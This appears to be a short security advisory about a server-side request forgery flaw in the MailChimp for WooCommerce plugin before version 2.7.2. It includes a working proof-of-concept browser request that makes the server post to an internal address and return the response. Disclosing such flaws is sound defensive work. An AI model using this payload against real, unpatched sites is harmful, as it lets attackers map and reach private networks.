MailChimp for Woocommerce < 2.7.2 - Admin+ SSRF

The plugin has an AJAX action that allows high privilege users to perform a POST request on behalf of the server to the internal network/LAN, the body of the request is also appended to the response so it can be used to scan private network for example

PoC

As an admin: fetch(“https://example.com/wp-admin/admin-ajax.php”, { “headers”: { “accept”: “application/json, text/javascript, /; q=0.01”, “accept-language”: “en-US,en;q=0.9”, “content-type”: “application/x-www-form-urlencoded; charset=UTF-8”, “x-requested-with”: “XMLHttpRequest” }, “referrerPolicy”: “strict-origin-when-cross-origin”, “body”: “action=mailchimp_woocommerce_oauth_status&url;=http://127.0.0.1:8181”, “method”: “POST”, “mode”: “cors”, “credentials”: “include” });